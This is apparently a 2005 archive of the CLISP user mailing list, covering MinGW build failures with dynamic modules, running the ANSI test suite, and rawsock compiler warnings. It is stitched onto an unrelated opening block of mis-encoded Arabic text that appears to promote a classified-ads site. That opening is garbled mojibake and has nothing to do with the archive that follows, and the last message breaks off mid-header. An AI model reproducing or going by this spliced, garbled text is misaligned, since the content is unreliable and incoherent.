80 --- ÇáÔåÑ ÈÜ 100 ÑíÇá ÃÞÕì ÝÊÑÉ ËáÇË ÇÔåÑ 300 ÑíÇá .. ------------- ÊÕäíÝ ÇáÇÚáÇäÇÊ :: :: ÇáÚÑÖ æÇáØáÈ : ( ÃÌåÒÉ ÌæÇáÇÊ æÅÊÕÇáÇÊ ) :: ÇáÚÑÖ æÇáØáÈ : ( ÈØÇÞÜÜÇÊ ÓæÇ ) :: ÇáÚÑÖ æÇáØáÈ : ( ÃÑÞÇã ÓíÇÑÇÊ ããíÒÉ ) :: ÇáÚÑÖ æÇáØáÈ : ( ÏÚÇíÉ æÅÚáÇä ) :: ÚÑæÖ ããÜíÒÉ :: :: ÅÚáÇäÇÊ ããíÒÉ :: :: ÇáÚÑÖ æÇáØáÈ : ( ãØÇÚã ,ãØÇÈÎ ,ÈæÝíÇåÇÊ,ÎÏãÇÊ ) :: ÇáÚÑÖ æÇáØáÈ : ( ÇáÇËÇË æÇáÏíᑥ ) :: ÇáÚÑÖ æÇáØáÈ : ( ÈÖÇÆÚ ãä ãÍÇá ÊÌÇÑíÉ æÎÏãÇÊ ) :: ãßÇÊÈ ÚÜÞÜÜÇÑíÉ :: ãßÇÊÈ ÅÓÊÞÏÇã :: ãßÇÊÈ ÎÏãÇÊ ÚÇãÉ :: :: ÇáÚÑÖ æÇáØáÈ : ( äÓÇÆíÇÊ, ãÔÇÛá æÎÏãÇÊ ) :: ÇáÚÑÖ æÇáØáÈ : ( åæÇÊÝ æÃÑÞÇã --- ÃÑÞÇã ÌæÇáÇÊ ããíÒÉ --- ÃÑÞÇã ËÇÈÊ ããíÒÉ ) :: ÇáÚÑÖ æÇáØáÈ : ( ãÓÊÔÝíÇÊ ãÓÊæÕÝÇÊ ÚíÇÏÇÊ ) :: ÚÑæÖ : ( ÚÜÞÜÜÇÑÇÊ ) :: ØÜÜáÜÈ : ( ÚÜÞÜÜÇÑÇÊ ) :: ÇáÚÑÖ æÇáØáÈ : ( ÇáÃÓÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜåã ) :: ÇáÚÑÖ æÇáØáÈ : ( ÊÌÇÑÉ æÅÓÊËãÇÑÇÊ ) :: ÇáÚÑÖ æÇáØáÈ : ( ãÚÏÇÊ æ äÜÞÜáÜíÇÊ ) :: ÇáÚÑÖ æÇáØáÈ : ( ÓíÜÇÑÇÊ æãÑßÜÈÜÇÊ -- ÃÑÞÇã ÓíÇÑÇÊ ããíÒÉ ) :: ÇáÚÑÖ æÇáØáÈ : ( ßãÈíæÊÑÇÊ æ ÅäÊÑ äÊ .ãæÇÞÚ æ äØÇÞÇÊ ) :: ÇáÚÑÖ æÇáØáÈ : ( ÅáßÊÑæäíÇÊ æßåÑÈÇÆíÇÊ ) :: ÇáÚÑÖ æÇáØáÈ : ( ßãÇáíÇÊ æãäæÚÇÊ ) :: ÇáÚÑÖ æÇáØáÈ : ( äÞá æÊÇÌíÑ ÓíÇÑÇÊ . äÞá ØáÇÈ áãæÒíä ) :: ÇáÚÑÖ æÇáØáÈ : ( æÙÇÆÜÜÜÝ ) :: ÇáÚÑÖ æÇáØáÈ : ( ÎÇÏãÇÊ æÓÜÜÇÆÜÞÜíÜä ) :: (( ÚÞÇÑÇÊ ÚÇãÉ ãäæÚÉ )) :: -------------- ÚÒíÒí äÃÓÝ ááÅØÇáå Úáíß ÈÔÑÍ Úä ÇáãæÞÚ æäÔßÑ áß ÊßÑãß ÈÞÈæá ÇáÏÚæÉ .. ÅÐÇ ÑÆíÊäÇ äÓÊÍÞ ÎÏãÊß ÃÎÈÑ.... ÃÕÏÞÇÆß ÚäÇ .. íÔÑÝäÇ ÅäÖãÇãß æíÓÚÏäÇ ÎÏãÊß.. ÇáÈÑíÏ ÇáÅßÊÑæäí ( noxnocom@msn.com ) áÒíÇÑÉ ãæÞÚ ÅÚáÇäÇÊ ÇáÔÑÞíÉ ÇáãÈæÈÉ http://www.noxno.com ÊãäíÇÊäÇ ááÌãíÚ ÇáÊæÝíÞ ÈãÔíÆÉ Çááå áãÇ íÞÏãå ÇáãæÞÚ ãä ÎÏãÇÊ ãÌÇäíÉ æãÏÝæÚå http://www.noxno.com From sds@gnu.org Wed Feb 16 06:36:27 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D1QHz-0003Qg-Ow for clisp-list@lists.sourceforge.net; Wed, 16 Feb 2005 06:36:27 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D1QHx-0004AG-1i for clisp-list@lists.sourceforge.net; Wed, 16 Feb 2005 06:36:27 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1GEYlNe001488; Wed, 16 Feb 2005 09:34:48 -0500 (EST) To: "Hoehle, Joerg-Cyril" Cc: jwebsmall@cox.net, clisp-list@lists.sourceforge.net Subject: Re: AW: [clisp-list] FFI question cotinued Mail-Copies-To: never Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030333EEED@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Wed, 16 Feb 2005 10:51:11 +0100") References: <5F9130612D07074EB0A0CE7E69FD7A030333EEED@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: "Hoehle, Joerg-Cyril" , jwebsmall@cox.net, clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 16 06:36:32 2005 X-Original-Date: Wed, 16 Feb 2005 09:36:05 -0500 > * Hoehle, Joerg-Cyril [2005-02-16 10:51:11 +0100]: > > I don't know how to rewrite the FFI section of impnotes such that it > is easier understood. There really are undeniable comprehension > problems, witness user questions in clisp-list across the years. What > are your suggestions? more examples. I want each "user question in clisp-list across the years" to be turned into an example in impnotes. -- Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)))) From kavenchuk@jenty.by Wed Feb 16 23:34:12 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D1gAu-0001lZ-9T for clisp-list@lists.sourceforge.net; Wed, 16 Feb 2005 23:34:12 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D1gAs-0003pb-4s for clisp-list@lists.sourceforge.net; Wed, 16 Feb 2005 23:34:12 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK367DW; Thu, 17 Feb 2005 09:36:18 +0200 Message-ID: <421448F9.1060007@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] configure options --with-mingw --with-dynamic-modules is compatible? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 16 23:34:24 2005 X-Original-Date: Thu, 17 Feb 2005 09:34:17 +0200 clisp from cvs head. mingw/msys on win2k ./configure --with-mingw --with-dynamic-modules --build build-mingw ... gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -I. -c spvw.c In file included from spvw.d:24: lispbibl.d:9652:4: #error "Dynamic modules require dynamic loading!" spvw.d: In function `dynload_modules': spvw.d:3403: warning: implicit declaration of function `dlopen' spvw.d:3403: error: `RTLD_NOW' undeclared (first use in this function) spvw.d:3403: error: (Each undeclared identifier is reported only once spvw.d:3403: error: for each function it appears in.) spvw.d:3403: warning: assignment makes pointer from integer without a cast spvw.d:3404: warning: implicit declaration of function `dlerror' spvw.d:3404: warning: passing arg 3 of `fehler_dlerror' makes pointer from integer without a cast spvw.d:3430: warning: implicit declaration of function `dlsym' spvw.d:3430: warning: assignment makes pointer from integer without a cast spvw.d:3430: warning: assignment makes pointer from integer without a cast spvw.d:3430: warning: assignment makes pointer from integer without a cast spvw.d:3430: warning: assignment makes pointer from integer without a cast spvw.d:3430: warning: assignment makes pointer from integer without a cast spvw.d:3430: warning: assignment makes pointer from integer without a cast spvw.d:3430: warning: assignment makes pointer from integer without a cast spvw.d:3430: warning: assignment makes pointer from integer without a cast spvw.d:3430: warning: assignment makes pointer from integer without a cast make: *** [spvw.o] Error 1 Thanks. -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Wed Feb 16 23:39:24 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D1gFw-0001xK-3C for clisp-list@lists.sourceforge.net; Wed, 16 Feb 2005 23:39:24 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D1gFt-00071N-0P for clisp-list@lists.sourceforge.net; Wed, 16 Feb 2005 23:39:24 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK3671D; Thu, 17 Feb 2005 09:41:27 +0200 Message-ID: <42144A2F.3040108@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] ansi tests will be included in clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 16 23:39:39 2005 X-Original-Date: Thu, 17 Feb 2005 09:39:27 +0200 clisp from cvs head. mingw/msys on win2k. ./configure --with-mingw --build build-mingw ... OK. make check ... RUN-ALL-TESTS: grand total: 0 errors out of 9,906 tests Bye. mkdir ansi-tests cd ansi-tests && ln ../../ansi-tests/Makefile . ln: accessing `../../ansi-tests/Makefile': No such file or directory make: *** [ansi-tests] Error 1 Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Thu Feb 17 06:24:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D1ma2-0006AY-8g for clisp-list@lists.sourceforge.net; Thu, 17 Feb 2005 06:24:34 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D1ma0-0005MA-Le for clisp-list@lists.sourceforge.net; Thu, 17 Feb 2005 06:24:34 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1HEMXj4004839; Thu, 17 Feb 2005 09:22:55 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42144A2F.3040108@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 17 Feb 2005 09:39:27 +0200") References: <42144A2F.3040108@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ansi tests will be included in clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 17 06:24:42 2005 X-Original-Date: Thu, 17 Feb 2005 09:23:51 -0500 > * Yaroslav Kavenchuk [2005-02-17 09:39:27 +0200]: > > mkdir ansi-tests > cd ansi-tests && ln ../../ansi-tests/Makefile . > ln: accessing `../../ansi-tests/Makefile': No such file or directory > make: *** [ansi-tests] Error 1 $ cd ..; make -f Makefile.devel update-ansi-tests; cd - $ make check -- Sam Steingold (http://www.podval.org/~sds) running w2k The difference between theory and practice is that in theory there isn't any. From sds@gnu.org Thu Feb 17 06:33:55 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D1mj1-0006ia-6h for clisp-list@lists.sourceforge.net; Thu, 17 Feb 2005 06:33:51 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D1miz-000585-8J for clisp-list@lists.sourceforge.net; Thu, 17 Feb 2005 06:33:51 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1HEW1H3006076; Thu, 17 Feb 2005 09:32:01 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <421448F9.1060007@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 17 Feb 2005 09:34:17 +0200") References: <421448F9.1060007@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: configure options --with-mingw --with-dynamic-modules is compatible? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 17 06:34:06 2005 X-Original-Date: Thu, 17 Feb 2005 09:33:20 -0500 > * Yaroslav Kavenchuk [2005-02-17 09:34:17 +0200]: > > clisp from cvs head. > mingw/msys on win2k > > ./configure --with-mingw --with-dynamic-modules --build build-mingw > ... > gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment > -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 > -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES > -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -I. -c spvw.c > In file included from spvw.d:24: > lispbibl.d:9652:4: #error "Dynamic modules require dynamic loading!" you need to modify src/m4/dynload.m4 to check for the w32 version of dlopen &c (i.e., LoadLibrary &c), and the fix src/spvw.d which uses dlopen(). alternatively, you can wait for Bruno to convert everything to ltld (?) which is supposed to solve everything. -- Sam Steingold (http://www.podval.org/~sds) running w2k Parachute for sale, used once, never opened, small stain. From bruno@clisp.org Thu Feb 17 07:05:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D1nDH-0008V7-BM for clisp-list@lists.sourceforge.net; Thu, 17 Feb 2005 07:05:07 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D1nDF-0000TX-Kp for clisp-list@lists.sourceforge.net; Thu, 17 Feb 2005 07:05:07 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.3/8.13.3) with ESMTP id j1HF4rsV010300; Thu, 17 Feb 2005 16:04:53 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j1HF4lW6026084; Thu, 17 Feb 2005 16:04:47 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 458EA17703; Thu, 17 Feb 2005 14:57:59 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , Yaroslav Kavenchuk User-Agent: KMail/1.5 References: <421448F9.1060007@jenty.by> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502171557.58392.bruno@clisp.org> X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: configure options --with-mingw --with-dynamic-modules is compatible? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 17 07:05:23 2005 X-Original-Date: Thu, 17 Feb 2005 15:57:58 +0100 Sam wrote: > you need to modify src/m4/dynload.m4 to check for the w32 version of > dlopen &c (i.e., LoadLibrary &c), and the fix src/spvw.d which uses > dlopen(). > > alternatively, you can wait for Bruno to convert everything to ltld (?) > which is supposed to solve everything. libltdl solves the portability problem of dynamic loading. Better use it, rather than reinventing it. Bruno From kavenchuk@jenty.by Thu Feb 17 07:28:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D1na8-0001R0-Qs for clisp-list@lists.sourceforge.net; Thu, 17 Feb 2005 07:28:44 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D1na7-0003D4-6d for clisp-list@lists.sourceforge.net; Thu, 17 Feb 2005 07:28:44 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK3681C; Thu, 17 Feb 2005 17:31:01 +0200 Message-ID: <4214B83A.6020904@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ansi tests will be included in clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 17 07:28:53 2005 X-Original-Date: Thu, 17 Feb 2005 17:28:58 +0200 Sam Steingold : > > mkdir ansi-tests > > cd ansi-tests && ln ../../ansi-tests/Makefile . > > ln: accessing `../../ansi-tests/Makefile': No such file or directory > > make: *** [ansi-tests] Error 1 > > $ cd ..; make -f Makefile.devel update-ansi-tests; cd - > $ make check > I have not cvs. viewcvs only (cvsgrab). ansi tests from clocc right? -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Fri Feb 18 05:01:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D27kp-0007jH-E4 for clisp-list@lists.sourceforge.net; Fri, 18 Feb 2005 05:01:07 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D27kn-0008Kv-JX for clisp-list@lists.sourceforge.net; Fri, 18 Feb 2005 05:01:07 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK3694H; Fri, 18 Feb 2005 15:03:37 +0200 Message-ID: <4215E72D.1050600@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ansi tests will be included in clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 18 05:01:48 2005 X-Original-Date: Fri, 18 Feb 2005 15:01:33 +0200 Sam Steingold: > > mkdir ansi-tests > > cd ansi-tests && ln ../../ansi-tests/Makefile . > > ln: accessing `../../ansi-tests/Makefile': No such file or directory > > make: *** [ansi-tests] Error 1 > > $ cd ..; make -f Makefile.devel update-ansi-tests; cd - > $ make check > download gcl/ansi-tests manually $ make check .... RUN-ALL-TESTS: grand total: 0 errors out of 9,906 tests Bye. cd ansi-tests && ../lisp.exe -B .. -M ../lispinit.mem -N ../locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 30000KW -ansi -i clispload.lsp -x '(in-package "CL-TEST") (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-log .... *** - LOAD: A file with name clispload.lsp does not exist Bye. -- WBR, Yaroslav Kavenchuk From kavenchuk@jenty.by Fri Feb 18 05:05:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D27pN-0008Ap-B0 for clisp-list@lists.sourceforge.net; Fri, 18 Feb 2005 05:05:49 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D27pM-0000WT-DM for clisp-list@lists.sourceforge.net; Fri, 18 Feb 2005 05:05:49 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK3694S; Fri, 18 Feb 2005 15:08:23 +0200 Message-ID: <4215E84C.6000101@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] rawsock build warning Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 18 05:06:06 2005 X-Original-Date: Fri, 18 Feb 2005 15:06:20 +0200 ./configure --with-mingw --with-module=rawsock --build build-rawsock .... In file included from rawsock.c:9: ../clisp.h:555: warning: register used for two global register variables rawsock.c: In function `check_socket_protocol': rawsock.c:1399: warning: comparison of unsigned expression < 0 is always false rawsock.c: In function `check_socket_protocol_reverse': rawsock.c:1412: warning: comparison of unsigned expression < 0 is always false .... This is normal? Sorry if this nothing -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Fri Feb 18 06:48:13 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D29QT-0005ef-Jo for clisp-list@lists.sourceforge.net; Fri, 18 Feb 2005 06:48:13 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D29QR-0004Hm-Tj for clisp-list@lists.sourceforge.net; Fri, 18 Feb 2005 06:48:13 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1IEkV7j016396; Fri, 18 Feb 2005 09:46:36 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: 